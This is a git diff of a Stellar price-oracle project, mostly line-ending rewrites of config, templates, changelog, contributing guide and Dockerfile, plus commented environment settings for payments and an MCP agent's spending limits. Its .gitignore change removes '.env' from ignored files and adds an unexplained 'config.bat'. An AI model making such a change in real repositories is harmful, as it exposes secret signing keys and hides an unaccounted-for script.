Postgres reachable/migrated + Redis). Both are public and +# exempt from rate limiting and from http_requests_total, because a platform +# polls them on a fixed interval. +# +# Whether Redis takes part in readiness (default: true). Set to "false" for a +# deployment that deliberately runs Redis-less: startup already treats an +# unavailable Redis as non-fatal and serves prices uncached from Postgres, so +# failing readiness there would pull a healthy instance out of rotation. +READINESS_REDIS_CHECK=true +# Milliseconds a single dependency probe may take before /ready calls it down +# (default: 2000). Kept well under the platform's probe interval — a probe +# slower than its own polling period reports stale answers. +READINESS_TIMEOUT_MS=2000 +# How long /ready reuses one answer before re-probing (default: 2000). Bounds +# how many dependency round trips a fleet-wide poll interval can produce, and +# how many outstanding probes a slow database can accumulate. +READINESS_CACHE_MS=2000 + +# Maximum number of GraphQL field selections from an operation root to a leaf +# (default: 3). Must be a positive integer. Pure __schema/__type introspection +# is exempt so GraphiQL can load; mixed operations still limit application fields. +GRAPHQL_MAX_QUERY_DEPTH=3 + +# --- x402 Payment Gate --- +# Stellar public key where API payments should be sent. +# If unset, x402 gating is disabled. +# Optionally set ORACLE_PAYMENT_ADDRESS_TESTNET / ORACLE_PAYMENT_ADDRESS_MAINNET +# to use a different payout address per network (falls back to the shared +# ORACLE_PAYMENT_ADDRESS above for whichever one is unset). +ORACLE_PAYMENT_ADDRESS=GD... +# Optional network-specific Stellar payout address for testnet payments (overrides ORACLE_PAYMENT_ADDRESS on testnet) +ORACLE_PAYMENT_ADDRESS_TESTNET= +# Optional network-specific Stellar payout address for mainnet payments (overrides ORACLE_PAYMENT_ADDRESS on mainnet) +ORACLE_PAYMENT_ADDRESS_MAINNET= +# URL of the x402 facilitator (default: https://x402.org/facilitator) +X402_FACILITATOR_URL=https://x402.org/facilitator + +# --- Bazaar catalog integrity --- +# Catalog listings arrive from clients in the payment payload, so writes are +# rate limited per payTo. A rejected listing never fails the payment. +BAZAAR_CATALOG_WRITES_PER_MIN=10 +BAZAAR_CATALOG_WRITES_PER_DAY=200 + +# --- Oracle Relay Example --- +# Lens API base URL consumed by the relay example. +ORACLE_RELAY_API_URL=http://localhost:3002 +# Soroban RPC endpoint for transaction submission. +ORACLE_RELAY_RPC_URL=https://soroban-testnet.stellar.org +# Stellar network passphrase for transaction signing. +ORACLE_RELAY_NETWORK_PASSPHRASE=Test SDF Network ; September 2015 +# Soroban contract ID for the relay example. +ORACLE_RELAY_CONTRACT_ID=CC... +# Secret key for the relay's source account. +ORACLE_RELAY_SOURCE_SECRET=S... +# Asset pair pushed to the oracle contract. +ORACLE_RELAY_ASSET_A=XLM +ORACLE_RELAY_ASSET_B=USDC +# How often the relay polls Lens and updates the contract. +ORACLE_RELAY_INTERVAL_MS=60000 + +# --- Price Alert Bot Example --- +# Lens WebSocket endpoint the alert bot connects to. +ALERT_BOT_WS_URL=ws://localhost:3002/ws +# Pair to watch and the threshold to alert on. +ALERT_BOT_ASSET_A=XLM +ALERT_BOT_ASSET_B=USDC +ALERT_BOT_THRESHOLD=0.15 +# Alert direction: "above" or "below". +ALERT_BOT_DIRECTION=above +# Optional base64 X-PAYMENT header for x402-gated streams. +ALERT_BOT_PAYMENT= +# Optional HTTPS URL to forward alerts to, plus its HMAC secret. +ALERT_BOT_NOTIFY_URL= +ALERT_BOT_NOTIFY_SECRET=alert-bot + +# --- x402 Facilitator (POST /settle) --- +# The Stellar secret key the facilitator signs settlement transactions with, +# per network. This is a fee and sequence-number key only: the payer authorises +# inside the payload as a signed Soroban auth entry, so no payer key is ever +# held by this process. Leave unset to run without settlement — /settle then +# fails explicitly rather than half-working, and /supported and the Bazaar +# still serve. +FACILITATOR_SECRET_KEY_TESTNET= +FACILITATOR_SECRET_KEY_MAINNET= +# Unsuffixed form, applied to testnet only. +FACILITATOR_SECRET_KEY= +# Maximum fee in stroops the facilitator will pay (default 50000). +FACILITATOR_FEE_STROOPS_TESTNET=50000 +FACILITATOR_FEE_STROOPS_MAINNET=50000 + +# --- Price Plausibility Sanity Bounds --- +# Lower and upper bounds for sanity-checking derived venue prices. +# Derived spot prices outside this range are rejected with a log warning and metric increment. +PRICE_MIN_PLAUSIBLE=0.0000000001 +PRICE_MAX_PLAUSIBLE=10000000000 + +# --- MCP server (npm run mcp:server) --- +# The agent's own x402 payer keys, used to answer a 402 challenge when paid_call +# fetches a gated resource. These spend money, so keep them out of any other +# process and fund only what you are willing to lose. +MCP_AGENT_SECRET_KEY_TESTNET= +# WARNING: MCP_AGENT_SECRET_KEY_MAINNET signs transactions on the public network +# and can spend real funds. Keep this out of any other process and fund only +# what you are willing to lose. +MCP_AGENT_SECRET_KEY_MAINNET= +# Transport to serve: "stdio" (default) or "http". stdio speaks over the process's +# stdin/stdout and only works for a client that can launch this process on the +# same machine; "http" serves Streamable HTTP so remote/hosted clients can connect. +MCP_TRANSPORT=stdio +# Required when MCP_TRANSPORT=http, and refused without it. Every request must +# carry `Authorization: Bearer `. Generate a strong random value +# (e.g. `openssl rand -hex 32`); it authorises paid_call spending, so treat it +# as a credential, and never put it in a URL. +MCP_HTTP_AUTH_TOKEN= +# Bind address for the HTTP transport (default: 127.0.0.1). Reachability beyond +# loopback is only safe behind a TLS-terminating reverse proxy. +MCP_HTTP_HOST=127.0.0.1 +# Port for the HTTP transport (default: 3003; the REST API listens on PORT=3002). +MCP_HTTP_PORT=3003 +# Path the HTTP transport answers MCP POSTs on (default: /mcp). +MCP_HTTP_PATH=/mcp +# Ceiling per paid_call, enforced by the x402 fetch wrapper. +MCP_MAX_PAYMENT_PRICE=$1.00 +# Comma-separated origins (or URL prefixes) paid_call may pay for, e.g. +# "https://api.lens.example,localhost:3000". An entry with no scheme matches +# both http and https; an entry with a path only allows that path and what sits +# under it. UNSET IS EMPTY, AND AN EMPTY LIST PAYS NOBODY: every paid_call is +# refused with ERR_HOST_NOT_ALLOWED before a request is sent. This is a +# prompt-injection guard — text an agent reads must not choose where money goes. +MCP_PAID_CALL_ALLOWED_HOSTS= +# Path to the OpenAPI document served by the MCP `lens://openapi.json` resource. +# Leave unset to serve the openapi.json at the package root; set it only when the +# document lives elsewhere, e.g. mounted separately in a container. +MCP_OPENAPI_PATH= + + +# ─── Snapshot retention ──────────────────────────────────────────────────── +# Rows removed by one DELETE during a retention run. The job drains in batches +# of this size, skipping locked rows and yielding between them, so a first run +# against a table that has never been pruned cannot hold a long lock or blow +# the WAL. Default 1000. +SNAPSHOT_PRUNE_BATCH_SIZE=1000 + + +# --- MCP agent spending limits --- +# Most a single payment may cost. Enforced as the x402 client's per-payment cap +# (spendControls.maxAmountPerPayment), so a call priced higher is refused before +# any money moves (default: $1.00). +MCP_MAX_PAYMENT_PRICE=$1.00 +# Cumulative ceiling on what paid calls may cost in one UTC day. The per-call cap +# above only bounds one mistake; without this, an agent in a retry loop can pay +# that amount over and over. Once a further call's worst case no longer fits the +# remaining budget, paid_call is refused with ERR_BUDGET_EXCEEDED without +# attempting payment. Read live with the payment_budget tool (default: $10.00). +MCP_DAILY_SPEND_CEILING=$10.00 +# Where the day's running total is kept, so a server restart does not refill the +# budget: the total is per UTC day and read back from this file at startup, and +# the window still resets at 00:00 UTC. If the file is missing it starts at zero; +# if it is unreadable or unwritable the budget is treated as spent and paid calls +# are refused until it is fixed (fail closed). Keep it off ephemeral filesystems +# (default: ~/.lens-mcp/spend-state.json). +MCP_SPEND_STATE_FILE= +# Where the payment audit trail is appended, one JSON record per paid call: +# timestamp, full URL, host, method, price, asset, network, transaction hash and +# the outcome. Never the secret key and never the signed payment envelope. A call +# that failed is recorded too, since a payment can settle on a call that errored. +# If this file cannot be created or written, paid calls are refused: a tool that +# moves money does not get to spend without a record (fail closed). Keep it off +# ephemeral filesystems (default: ~/.lens-mcp/payments.jsonl). +MCP_PAYMENT_LEDGER_FILE= +# Comma-separated hosts allowed to become the `host` label of the spend metrics. +# Prometheus series are permanent, so labelling by whatever URL an agent asks for +# lets one caller mint unbounded time series; hosts outside this list are reported +# as `unknown`, and an empty value reports every host as `unknown`. The audit file +# above always keeps the real host regardless (e.g. bazaar.example,price.feed). +MCP_METRIC_HOSTS= +# Comma-separated network ids allowed to become the `network` label of the spend +# metrics. Same bounded-series rule as above. The value here is the default — the +# networks this agent signs for — spelled out, because the .env.example drift +# guard reads a commented entry as undocumented. Setting it to an empty value +# instead reports every network as `unknown`. +MCP_METRIC_NETWORKS=stellar:testnet,stellar:pubnet +# With MCP_TRANSPORT=http the registry above is scrapeable from the MCP server +# itself: GET /metrics on MCP_HTTP_PORT, requiring the same MCP_HTTP_AUTH_TOKEN +# bearer token. stdio starts no listener, so there the running total is what the +# payment_budget tool reports and what the audit file holds. + +# Where `npm run validate:live-spec` points when checking the published +# OpenAPI document against a running service. LIVE_API_URL wins if both are +# set; falling back to LENS_URL keeps one variable for anyone who already has +# it configured. Unset means localhost:3002, which is the API's default port, +# so a local run needs neither. +LIVE_API_URL= +LENS_URL= + +# Base URL for Coinbase Exchange's public market-data API, used by the CEX +# adapter to read reference prices. Only worth setting to point at a sandbox or +# a recording proxy when testing; the adapter sends no credentials, so this is +# not a place to route through anything untrusted. Unset means +# https://api.exchange.coinbase.com. +COINBASE_EXCHANGE_BASE_URL= + +# ─── Price points retention ──────────────────────────────────────────────── +# Retention window in days for raw price_points rows before they are pruned. +# Raw points older than this window are rolled up into 1-hour price_aggregates +# before deletion, preserving full OHLCV, VWAP, venue volume breakdown, and +# trade counts while bounding database storage on shared tiers. +# Default: 30 days (defensible because downstream volume queries inspect up to +# 30-day windows, e.g. /volumes/:asset?window=30d, and it aligns with snapshot +# retention while preventing unbounded table growth). +PRICE_POINTS_RETENTION_DAYS=30 + +# Maximum rows removed by one database statement during a retention run. +# The job deletes in bounded batches using FOR UPDATE SKIP LOCKED and pauses +# between batches so it never holds long table locks. +# Default: 1000. +PRICE_POINTS_PRUNE_BATCH_SIZE=1000 + diff --git a/.freebuff/project-id b/.freebuff/project-id index a9a14624..62892daf 100644 --- a/.freebuff/project-id +++ b/.freebuff/project-id @@ -1 +1 @@ -632da240-6b1b-4773-a823-108c47637ed2 +632da240-6b1b-4773-a823-108c47637ed2 diff --git a/.gitattributes b/.gitattributes index 88d5a00c..e855b866 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1,19 +1,19 @@ -# Normalise line endings in text artifacts so tooling that byte-compares them -# does not depend on a contributor's git config. In particular, -# tests/openapi.test.ts compares openapi.json byte-for-byte, which fails on -# Windows with core.autocrlf=true unless the checkout is forced to LF. -*.json text eol=lf -*.yaml text eol=lf -*.yml text eol=lf -# tests/historical.golden.test.ts byte-compares these against the CSV export. -*.csv text eol=lf -# src/__tests__/graphqlSchemaDrift.test.ts byte-compares schema.graphql against -# `printSchema()` output, which is always LF. Without this a Windows checkout -# gets CRLF and the drift guard fails on a file that has not drifted at all. -*.graphql text eol=lf -# prisma/migrations/*/migration.sql is compared against `prisma migrate diff` -# output (tests/prisma-migrations.test.ts), which is always LF. The comparison -# normalises trailing whitespace so CRLF would survive it today — pinned anyway, -# because the file is a generated artifact and the four guards above all learned -# this the hard way. -*.sql text eol=lf +# Normalise line endings in text artifacts so tooling that byte-compares them +# does not depend on a contributor's git config. In particular, +# tests/openapi.test.ts compares openapi.json byte-for-byte, which fails on +# Windows with core.autocrlf=true unless the checkout is forced to LF. +*.json text eol=lf +*.yaml text eol=lf +*.yml text eol=lf +# tests/historical.golden.test.ts byte-compares these against the CSV export. +*.csv text eol=lf +# src/__tests__/graphqlSchemaDrift.test.ts byte-compares schema.graphql against +# `printSchema()` output, which is always LF. Without this a Windows checkout +# gets CRLF and the drift guard fails on a file that has not drifted at all. +*.graphql text eol=lf +# prisma/migrations/*/migration.sql is compared against `prisma migrate diff` +# output (tests/prisma-migrations.test.ts), which is always LF. The comparison +# normalises trailing whitespace so CRLF would survive it today — pinned anyway, +# because the file is a generated artifact and the four guards above all learned +# this the hard way. +*.sql text eol=lf diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md index ecdf653d..c2ccc6c7 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -1,22 +1,22 @@ ---- -name: Bug report -about: Report a bug in Lens -title: "[bug] " -labels: ["bug"] ---- - -## What happened - -## What you expected - -## Steps to reproduce -1. -2. -3. - -## Environment -- Endpoint hit: -- Network: -- Lens URL: https://lens-ldtu.onrender.com - -## Logs / request / response +--- +name: Bug report +about: Report a bug in Lens +title: "[bug] " +labels: ["bug"] +--- + +## What happened + +## What you expected + +## Steps to reproduce +1. +2. +3. + +## Environment +- Endpoint hit: +- Network: +- Lens URL: https://lens-ldtu.onrender.com + +## Logs / request / response diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md index e1355f06..7fa6a08a 100644 --- a/.github/ISSUE_TEMPLATE/feature_request.md +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -1,19 +1,19 @@ ---- -name: Feature request -about: Suggest a new feature for Lens -title: "[feat] " -labels: ["enhancement"] ---- - -## Problem - -## Proposed solution - -## Alternatives considered - -## Area -- [ ] REST API -- [ ] GraphQL API -- [ ] Ingestion (SDEX / AMM) -- [ ] x402 payments -- [ ] Docs +--- +name: Feature request +about: Suggest a new feature for Lens +title: "[feat] " +labels: ["enhancement"] +--- + +## Problem + +## Proposed solution + +## Alternatives considered + +## Area +- [ ] REST API +- [ ] GraphQL API +- [ ] Ingestion (SDEX / AMM) +- [ ] x402 payments +- [ ] Docs diff --git a/.github/ISSUE_TEMPLATE/good_first_issue.md b/.github/ISSUE_TEMPLATE/good_first_issue.md index b1e1c38c..0022101e 100644 --- a/.github/ISSUE_TEMPLATE/good_first_issue.md +++ b/.github/ISSUE_TEMPLATE/good_first_issue.md @@ -1,20 +1,20 @@ ---- -name: Good first issue -about: Scoped task suitable for new contributors -title: "[good-first-issue] " -labels: ["good first issue", "help wanted"] ---- - -## Summary - -## Context - - -## Acceptance criteria -- [ ] -- [ ] - -## Getting started -1. Fork and clone -2. Read [CONTRIBUTING.md](../../CONTRIBUTING.md) -3. Comment on this issue before starting +--- +name: Good first issue +about: Scoped task suitable for new contributors +title: "[good-first-issue] " +labels: ["good first issue", "help wanted"] +--- + +## Summary + +## Context + + +## Acceptance criteria +- [ ] +- [ ] + +## Getting started +1. Fork and clone +2. Read [CONTRIBUTING.md](../../CONTRIBUTING.md) +3. Comment on this issue before starting diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 02057e6f..ab99ceb8 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,19 +1,19 @@ -## Summary - -## Related issue - - -## Type of change -- [ ] Bug fix -- [ ] New feature -- [ ] Refactor -- [ ] Docs -- [ ] Tests -- [ ] CI / tooling - -## Checklist -- [ ] I have read [CONTRIBUTING.md](../CONTRIBUTING.md) -- [ ] `npx tsc --noEmit` passes -- [ ] `npm run build` passes -- [ ] I added / updated tests where relevant -- [ ] I updated docs where relevant +## Summary + +## Related issue + + +## Type of change +- [ ] Bug fix +- [ ] New feature +- [ ] Refactor +- [ ] Docs +- [ ] Tests +- [ ] CI / tooling + +## Checklist +- [ ] I have read [CONTRIBUTING.md](../CONTRIBUTING.md) +- [ ] `npx tsc --noEmit` passes +- [ ] `npm run build` passes +- [ ] I added / updated tests where relevant +- [ ] I updated docs where relevant diff --git a/.gitignore b/.gitignore index d020720d..c928b212 100644 --- a/.gitignore +++ b/.gitignore @@ -1,8 +1,8 @@ -node_modules/ -dist/ -.env -*.tsbuildinfo - -# Soroban build artifacts for the SEP-40 oracle contract (oracle/contract) -oracle/contract/target/ -oracle/contract/test_snapshots/ +node_modules/ +dist/ +*.tsbuildinfo + +# Soroban build artifacts for the SEP-40 oracle contract (oracle/contract) +oracle/contract/target/ +oracle/contract/test_snapshots/ +config.bat diff --git a/CHANGELOG.md b/CHANGELOG.md index 10a1b1cd..79614785 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,48 +1,48 @@ -# Changelog - -## 0.2.0 - -### Minor Changes - -- bbe48e4: Add `/prices/history` endpoint backed by 1-minute price snapshots. A new `price_snapshots` table is appended to every minute by a snapshot ingester, queryable over a `[from, to]` window with optional `5m`/`1h` aggregation. A retention job prunes snapshots older than 30 days. - -### Patch Changes - -- 5a68745: Adopt changesets for versioning and release notes. Adds `@changesets/cli`, a release GitHub Actions workflow that opens a "Version Packages" PR for pending changesets and tags releases on merge, and contributor docs for the workflow. - -All notable changes to Lens are documented in this file. - -The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - -## [Unreleased] - -### Added - -- CI pipeline (`.github/workflows/ci.yml`) running Prisma generate, typecheck, and build on every PR -- Contributor documentation, issue templates, PR template -- This changelog - -## [0.1.0] — 2025 initial deployment - -### Added - -- Fastify REST API with `GET /price/:assetA/:assetB`, `GET /status`, `GET /pools` -- GraphQL endpoint via Mercurius -- SDEX trade ingestion with checkpoint tracking -- AMM pool snapshot ingestion -- Best-route price calculation across SDEX and AMM -- x402 micropayment gating via `@x402/stellar` -- Prisma schema for price points, pools, and checkpoints -- BullMQ aggregate refresh worker (optional, requires Redis) -- Supabase Postgres support with scoped SSL handling -- Deployed on Render at https://lens-ldtu.onrender.com - -### Fixed - -- `bestRoute.ts` AMM lookup — was using broken `code:code` join format; now queries via `pool_id` -- Prisma binary target on Render (`debian-openssl-3.0.x`) -- Supabase SSL cert error (scoped to supabase.com hosts) -- BullMQ blocking startup — wrapped in try/catch, ingesters auto-restart - -[Unreleased]: https://github.com/Miracle656/Lens/compare/v0.1.0...HEAD -[0.1.0]: https://github.com/Miracle656/Lens/releases/tag/v0.1.0 +# Changelog + +## 0.2.0 + +### Minor Changes + +- bbe48e4: Add `/prices/history` endpoint backed by 1-minute price snapshots. A new `price_snapshots` table is appended to every minute by a snapshot ingester, queryable over a `[from, to]` window with optional `5m`/`1h` aggregation. A retention job prunes snapshots older than 30 days. + +### Patch Changes + +- 5a68745: Adopt changesets for versioning and release notes. Adds `@changesets/cli`, a release GitHub Actions workflow that opens a "Version Packages" PR for pending changesets and tags releases on merge, and contributor docs for the workflow. + +All notable changes to Lens are documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). + +## [Unreleased] + +### Added + +- CI pipeline (`.github/workflows/ci.yml`) running Prisma generate, typecheck, and build on every PR +- Contributor documentation, issue templates, PR template +- This changelog + +## [0.1.0] — 2025 initial deployment + +### Added + +- Fastify REST API with `GET /price/:assetA/:assetB`, `GET /status`, `GET /pools` +- GraphQL endpoint via Mercurius +- SDEX trade ingestion with checkpoint tracking +- AMM pool snapshot ingestion +- Best-route price calculation across SDEX and AMM +- x402 micropayment gating via `@x402/stellar` +- Prisma schema for price points, pools, and checkpoints +- BullMQ aggregate refresh worker (optional, requires Redis) +- Supabase Postgres support with scoped SSL handling +- Deployed on Render at https://lens-ldtu.onrender.com + +### Fixed + +- `bestRoute.ts` AMM lookup — was using broken `code:code` join format; now queries via `pool_id` +- Prisma binary target on Render (`debian-openssl-3.0.x`) +- Supabase SSL cert error (scoped to supabase.com hosts) +- BullMQ blocking startup — wrapped in try/catch, ingesters auto-restart + +[Unreleased]: https://github.com/Miracle656/Lens/compare/v0.1.0...HEAD +[0.1.0]: https://github.com/Miracle656/Lens/releases/tag/v0.1.0 diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 2c6dcdcc..8f328863 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,120 +1,120 @@ -# Contributing to Lens - -Lens is a unified Stellar price oracle aggregating SDEX and AMM prices, gated behind x402 micropayments. Contributions welcome — docs, tests, new endpoints, ingestion improvements. - -## Ways to contribute - -- **Good first issues** — [`good first issue`](https://github.com/Miracle656/Lens/labels/good%20first%20issue) -- **Bug reports** — use the [bug report template](.github/ISSUE_TEMPLATE/bug_report.md) -- **Feature requests** — use the [feature request template](.github/ISSUE_TEMPLATE/feature_request.md) -- **Tests** — see [`area:tests`](https://github.com/Miracle656/Lens/labels/area%3Atests) - -## Repository layout - -``` -lens/ -├── src/ -│ ├── index.ts # Fastify entry point -│ ├── config.ts # Per-network config (STELLAR_NETWORK + overrides) -│ ├── db.ts # Postgres pool / Prisma client -│ ├── api/ # REST + GraphQL route implementations -│ ├── routes/ # Additional REST route modules -│ ├── ingesters/ # SDEX + AMM ingester loops -│ ├── ingest/ # Venue/oracle adapters (Horizon AMM, Aquarius, Reflector) -│ ├── publish/ # SEP-40 publisher: encoding, publication policy, on-chain feed -│ ├── aggregator/ # VWAP + best-route calculation -│ ├── pricing/ # TWAP, depth and aggregate helpers -│ ├── middleware/ # Network selector, x402, auth, metrics -│ └── x402/ # x402 facilitator client + metering -├── oracle/ -│ └── contract/ # Soroban SEP-40 price feed contract (Rust, `cargo test --lib`) -├── prisma/ -│ └── schema.prisma # Network-discriminated data models -├── tests/ # Integration, load and property suites -└── docs/ # Architecture, ops and design docs -``` - -## Development setup - -### Prerequisites -- **Node.js 20+** -- **PostgreSQL** (local or Supabase) -- **Redis** (optional — for BullMQ workers) -- A Stellar testnet account for x402 payments (if testing paid endpoints) - -### Clone and install - -```bash -git clone https://github.com/Miracle656/Lens.git -cd Lens -npm install -cp .env.example .env # fill in DATABASE_URL, REDIS_URL, WATCHED_PAIRS -npm run db:migrate # apply committed migrations (prisma migrate dev) — do NOT `db push` -npm run dev -``` - -API runs on `http://localhost:3002`. - -### Environment variables -- `DATABASE_URL` — Postgres connection string (Supabase or local) -- `REDIS_URL` — optional, enables aggregate refresh worker -- `WATCHED_PAIRS` — comma-separated `CODE:ISSUER/CODE:ISSUER` (e.g. `XLM:native/USDC:GBBD...`) -- `STELLAR_NETWORK` — this instance's default network, `testnet` or `mainnet` (default: `testnet`) -- `ENABLED_NETWORKS` — optional, comma-separated networks to ingest (`testnet,mainnet`); falls back to `STELLAR_NETWORK` - -Per-network overrides use a `_TESTNET` / `_MAINNET` suffix (e.g. `HORIZON_URL_MAINNET`, `WATCHED_PAIRS_TESTNET`); see `.env.example` for the full list. - -## Commit conventions - -- `feat:`, `fix:`, `docs:`, `test:`, `refactor:`, `chore:` -- Keep PRs focused - -## Before opening a PR - -```bash -npx prisma generate -npx tsc --noEmit -npm run build -npm test --if-present -``` - -## Testing - -Tests run under [Vitest](https://vitest.dev): - -```bash -npm test # full suite (vitest run) -npx vitest run path/to/file.test.ts # a single file -``` - -The suite is ~53 files / ~520 tests covering route handlers, price math -(including property-based tests with [fast-check](https://fast-check.dev)), -the x402 flow, per-network config and ingesters, HTTP metrics, and integration -scenarios under `tests/`. Open test work is tracked under -[`area:tests`](https://github.com/Miracle656/Lens/labels/area%3Atests). - -## Releases - -Lens uses [changesets](https://github.com/changesets/changesets) for versioning and changelog generation. - -### Adding a changeset - -When you make a change that should appear in the changelog (a feature, fix, or any user-facing change), add a changeset in the same PR: - -```bash -npx changeset -``` - -Pick the bump type (`patch` / `minor` / `major`) and write a short summary. This creates a markdown file under `.changeset/` — commit it alongside your change. - -### How a release happens - -1. When PRs with changesets are merged into `main`, the release workflow (`.github/workflows/release.yml`) opens (or updates) a **"Version Packages"** PR. -2. That PR consumes the pending changeset files, bumps the version in `package.json`, and updates `CHANGELOG.md`. -3. Merging the Version Packages PR bumps the version and creates a matching git tag and GitHub release. - -Lens is not published to a registry, so there is no publish step — releases are tag-only (`changeset tag`). - -## Questions - -Open an [issue](https://github.com/Miracle656/Lens/issues) or start a [discussion](https://github.com/Miracle656/Lens/discussions). +# Contributing to Lens + +Lens is a unified Stellar price oracle aggregating SDEX and AMM prices, gated behind x402 micropayments. Contributions welcome — docs, tests, new endpoints, ingestion improvements. + +## Ways to contribute + +- **Good first issues** — [`good first issue`](https://github.com/Miracle656/Lens/labels/good%20first%20issue) +- **Bug reports** — use the [bug report template](.github/ISSUE_TEMPLATE/bug_report.md) +- **Feature requests** — use the [feature request template](.github/ISSUE_TEMPLATE/feature_request.md) +- **Tests** — see [`area:tests`](https://github.com/Miracle656/Lens/labels/area%3Atests) + +## Repository layout + +``` +lens/ +├── src/ +│ ├── index.ts # Fastify entry point +│ ├── config.ts # Per-network config (STELLAR_NETWORK + overrides) +│ ├── db.ts # Postgres pool / Prisma client +│ ├── api/ # REST + GraphQL route implementations +│ ├── routes/ # Additional REST route modules +│ ├── ingesters/ # SDEX + AMM ingester loops +│ ├── ingest/ # Venue/oracle adapters (Horizon AMM, Aquarius, Reflector) +│ ├── publish/ # SEP-40 publisher: encoding, publication policy, on-chain feed +│ ├── aggregator/ # VWAP + best-route calculation +│ ├── pricing/ # TWAP, depth and aggregate helpers +│ ├── middleware/ # Network selector, x402, auth, metrics +│ └── x402/ # x402 facilitator client + metering +├── oracle/ +│ └── contract/ # Soroban SEP-40 price feed contract (Rust, `cargo test --lib`) +├── prisma/ +│ └── schema.prisma # Network-discriminated data models +├── tests/ # Integration, load and property suites +└── docs/ # Architecture, ops and design docs +``` + +## Development setup + +### Prerequisites +- **Node.js 20+** +- **PostgreSQL** (local or Supabase) +- **Redis** (optional — for BullMQ workers) +- A Stellar testnet account for x402 payments (if testing paid endpoints) + +### Clone and install + +```bash +git clone https://github.com/Miracle656/Lens.git +cd Lens +npm install +cp .env.example .env # fill in DATABASE_URL, REDIS_URL, WATCHED_PAIRS +npm run db:migrate # apply committed migrations (prisma migrate dev) — do NOT `db push` +npm run dev +``` + +API runs on `http://localhost:3002`. + +### Environment variables +- `DATABASE_URL` — Postgres connection string (Supabase or local) +- `REDIS_URL` — optional, enables aggregate refresh worker +- `WATCHED_PAIRS` — comma-separated `CODE:ISSUER/CODE:ISSUER` (e.g. `XLM:native/USDC:GBBD...`) +- `STELLAR_NETWORK` — this instance's default network, `testnet` or `mainnet` (default: `testnet`) +- `ENABLED_NETWORKS` — optional, comma-separated networks to ingest (`testnet,mainnet`); falls back to `STELLAR_NETWORK` + +Per-network overrides use a `_TESTNET` / `_MAINNET` suffix (e.g. `HORIZON_URL_MAINNET`, `WATCHED_PAIRS_TESTNET`); see `.env.example` for the full list. + +## Commit conventions + +- `feat:`, `fix:`, `docs:`, `test:`, `refactor:`, `chore:` +- Keep PRs focused + +## Before opening a PR + +```bash +npx prisma generate +npx tsc --noEmit +npm run build +npm test --if-present +``` + +## Testing + +Tests run under [Vitest](https://vitest.dev): + +```bash +npm test # full suite (vitest run) +npx vitest run path/to/file.test.ts # a single file +``` + +The suite is ~53 files / ~520 tests covering route handlers, price math +(including property-based tests with [fast-check](https://fast-check.dev)), +the x402 flow, per-network config and ingesters, HTTP metrics, and integration +scenarios under `tests/`. Open test work is tracked under +[`area:tests`](https://github.com/Miracle656/Lens/labels/area%3Atests). + +## Releases + +Lens uses [changesets](https://github.com/changesets/changesets) for versioning and changelog generation. + +### Adding a changeset + +When you make a change that should appear in the changelog (a feature, fix, or any user-facing change), add a changeset in the same PR: + +```bash +npx changeset +``` + +Pick the bump type (`patch` / `minor` / `major`) and write a short summary. This creates a markdown file under `.changeset/` — commit it alongside your change. + +### How a release happens + +1. When PRs with changesets are merged into `main`, the release workflow (`.github/workflows/release.yml`) opens (or updates) a **"Version Packages"** PR. +2. That PR consumes the pending changeset files, bumps the version in `package.json`, and updates `CHANGELOG.md`. +3. Merging the Version Packages PR bumps the version and creates a matching git tag and GitHub release. + +Lens is not published to a registry, so there is no publish step — releases are tag-only (`changeset tag`). + +## Questions + +Open an [issue](https://github.com/Miracle656/Lens/issues) or start a [discussion](https://github.com/Miracle656/Lens/discussions). diff --git a/Dockerfile b/Dockerfile index 4f6b66d3..dacf3dcf 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,44 +1,44 @@ -# Stage 1: Build -FROM node:20-slim AS builder - -WORKDIR /app - -# Install dependencies -COPY package*.json ./ -COPY prisma ./prisma/ -RUN npm install - -# Copy source and build -COPY . . -RUN npm run build - -# Stage 2: Run -FROM node:20-slim - -WORKDIR /app - -# Install curl for healthcheck -RUN apt-get update && apt-get install -y --no-install-recommends curl && rm -rf /var/lib/apt/lists/* - -# Copy production dependencies -COPY package*.json ./ -COPY prisma ./prisma/ -RUN npm install --omit=dev - -# Copy built assets -COPY --from=builder /app/dist ./dist -# Prisma engine and generated client are needed -COPY --from=builder /app/node_modules/.prisma ./node_modules/.prisma -COPY --from=builder /app/node_modules/@prisma ./node_modules/@prisma -# Need prisma for the auto-migration in src/index.ts -COPY --from=builder /app/node_modules/prisma ./node_modules/prisma - -# Set environment variables -ENV NODE_ENV=production -ENV PORT=3002 -ENV HOST=0.0.0.0 - -EXPOSE 3002 - -# Startup script ensures DB is ready (handled in src/index.ts via execSync) -CMD ["npm", "start"] +# Stage 1: Build +FROM node:20-slim AS builder + +WORKDIR /app + +# Install dependencies +COPY package*.json ./ +COPY prisma ./prisma/ +RUN npm install + +# Copy source and build +COPY . . +RUN npm run build + +# Stage 2: Run +FROM node:20-slim + +WORKDIR /app + +# Install curl for healthcheck +RUN apt-get update && apt-get install -y --no-install-recommends curl && rm -rf /var/lib/apt/lists/* + +# Copy production dependencies +COPY package*.json ./ +COPY prisma ./prisma/ +RUN npm install --omit=dev + +# Copy built assets +COPY --from=builder /app/dist ./dist +# Prisma engine and generated client are needed +COPY --from=builder /app/node_modules/.prisma ./node_modules/.prisma +COPY --from=builder /app/node_modules/@prisma ./node_modules/@prisma +# Need prisma for the auto-migration in src/index.ts +COPY --from=builder /app/node_modules/prisma ./node_modules/prisma + +# Set environment variables +ENV NODE_ENV=production +ENV PORT=3002 +ENV HOST=0.0.0.0 + +EXPOSE 3002 + +# Startup script ensures DB is ready (handled in src/index.ts via execSync) +CMD ["npm", "start"] diff --git a/LICENSE b/LICENSE index a42dfdbc..e57efd6a 100644 --- a/LICENSE +++ b/LICENSE @@ -1,21 